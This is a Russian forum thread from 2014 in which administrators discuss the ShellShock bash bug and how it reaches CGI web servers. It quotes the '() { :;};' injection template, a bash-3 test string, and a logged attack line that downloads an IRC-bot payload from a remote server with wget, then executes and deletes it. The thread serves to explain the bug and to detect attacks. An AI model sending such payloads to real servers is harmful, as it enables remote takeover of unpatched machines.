Страница 1 из 1

ShellShock vulnerability (!)

Добавлено: 2014-09-26 9:21:22
BSD_daemon
На выходные "подарунчик" ловите, похлеще "кровавого сердца" будет мля
Багу в Bash-е расщекотили которая два десятка лет спала
Web серваки работающиие через CGI под прицелом номер один: так что- "хороших выходных"

http://web.nvd.nist.gov/view/vuln/detai ... -2014-6271
http://web.nvd.nist.gov/view/vuln/detai ... -2014-7169

Re: ShellShock vulnerability (!)

Добавлено: 2014-09-26 12:54:42
Alex Keda
не юзаю баш
и другим не советую.

есть tcsh, он всё может.
есть sh - на нём скрпиты пишутся.

всё остальное - ф топку

Re: ShellShock vulnerability (!)

Добавлено: 2014-09-26 16:15:36
BSD_daemon
Согласен на все 100%, но к сожалению половине интернета глубоко срать на наши советы, да и БЗДевые поделки типа Apple тоже по дефолту юзают башатину, а любителей "самого крутого" с распальцованными пальчиками очень даже предостаточно :(

Re: ShellShock vulnerability (!)

Добавлено: 2014-09-30 4:53:31
FiL
Я себя чувствую последним ламером, но никак не могу понять как этой багой пользоваться.
Допустем у меня есть сервер со старым непропатченым башем. И допустим, что у меня есть веб-сервер на той самой машине. И даже допустим, что там часть скриптов cgi. И что? Как удаленный хакер должен объявить переменные для баша, чтоб они потом исполнились?

Re: ShellShock vulnerability (!)

Добавлено: 2014-09-30 6:04:22
BSD_daemon
FiL писал(а): И даже допустим, что там часть скриптов cgi. И что?
CGI скрипты запускаются из под дефолтового шела.
Баш имеет такую фичу как подхватывать из enviroment функции.
Некорректный парсинг функций из ENV приводит к тому, что выполняется следующая команда после баго фунции, как ниже

Код: Выделить всё

() { :;}; здесь любая легитимная шелл команда 
т.е. подсунув это говно в enviroment можно манипулировать удаленной машиной как из шелла.
Послав простой HTTP запрос с левым HTTP header-ом, запрос напрямую сбрасывется в среду, которая подхватывается башем и .... бум - ВЫПОЛНЯЕТСЯ
Как удаленный хакер должен объявить переменные для баша, чтоб они потом исполнились?
Делаю прям сейчас на боевом серваке :

Код: Выделить всё

egrep '\{\s*\:'  /var/log/apache2/*.log
Свежак result:

Код: Выделить всё

access.log:xx.xx.xx.xx - - [29/Sep/2014:02:34:12 -0500] "GET / HTTP/1.0" 403 199 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z IP.of.govno.servera/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""
ec.z - старый модефицированный арабский perl-o script который отдает управление машиной в IRC

На BSD-вых машинах где дефолтоый шелл - допотопный баш 3 (разговор о чудо "крутых" машинах от компании по производству чудо яблок)
баш провоцируется чуток по другому:

Код: Выделить всё

env X='() { (a)=>\' /bin/bash -c "echo date"; cat echo
Если видим текущую дату то ... писец

Re: ShellShock vulnerability (!)

Добавлено: 2014-09-30 10:02:04
Alex Keda

Код: Выделить всё

[root@vds01 ~]# cd /tmp/
[root@vds01 tmp]# wget --no-check-certificate https://raw.githubusercontent.com/hannob/bashcheck/master/bashcheck
--2014-09-30 11:01:24--  https://raw.githubusercontent.com/hannob/bashcheck/master/bashcheck
Resolving raw.githubusercontent.com... 185.31.17.133
Connecting to raw.githubusercontent.com|185.31.17.133|:443... connected.
WARNING: certificate common name `www.github.com' doesn't match requested host name `raw.githubusercontent.com'.
HTTP request sent, awaiting response... 200 OK
Length: 1375 (1.3K) [text/plain]
Saving to: `bashcheck'

100%[===============================================>] 1,375       --.-K/s   in 0s      

2014-09-30 11:01:25 (15.2 MB/s) - `bashcheck' saved [1375/1375]

[root@vds01 tmp]# chmod +x bashcheck 
[root@vds01 tmp]# ./bashcheck 
Not vulnerable to CVE-2014-6271 (original shellshock)
Not vulnerable to CVE-2014-7169 (taviso bug)
Not vulnerable to CVE-2014-7186 (redir_stack bug)
Test for CVE-2014-7187 not reliable without address sanitizer
Variable function parser inactive, likely safe from unknown parser bugs
[root@vds01 tmp]#

Re: ShellShock vulnerability (!)

Добавлено: 2014-09-30 15:59:30
FiL
BSD_daemon писал(а): Послав простой HTTP запрос с левым HTTP header-ом, запрос напрямую сбрасывется в среду, которая подхватывается башем и .... бум - ВЫПОЛНЯЕТСЯ
Спасибо за объяснение. Про переменные среды, посылаемые через http header я не подумал (не знал?).

Re: ShellShock vulnerability (!)

Добавлено: 2014-09-30 16:01:55
Alex Keda
я, кстати, тоже не знал.
тока это не проблема вебсервера, это проблема баша, цепляющего при обработке cgi скрипта весь мусор в переменные

Re: ShellShock vulnerability (!)

Добавлено: 2014-09-30 16:05:57
FiL
Подумав (это вообще занятие мне не свойственно), понял, что других способов общения клиента со скриптом просто быть не может. Таки веб сервер тут не виноват. Жизнь у него такая. Как страшно жить (с)

Re: ShellShock vulnerability (!)

Добавлено: 2014-09-30 16:23:20
Alex Keda
ну, поправят...
главное вовремя обновицца =))

Re: ShellShock vulnerability (!)

Добавлено: 2014-11-24 12:09:52
dekloper
BSD_daemon писал(а):Согласен на все 100%, но к сожалению половине интернета глубоко срать на наши советы, да и БЗДевые поделки типа Apple тоже по дефолту юзают башатину, а любителей "самого крутого" с распальцованными пальчиками очень даже предостаточно :(
и срать на них :fool: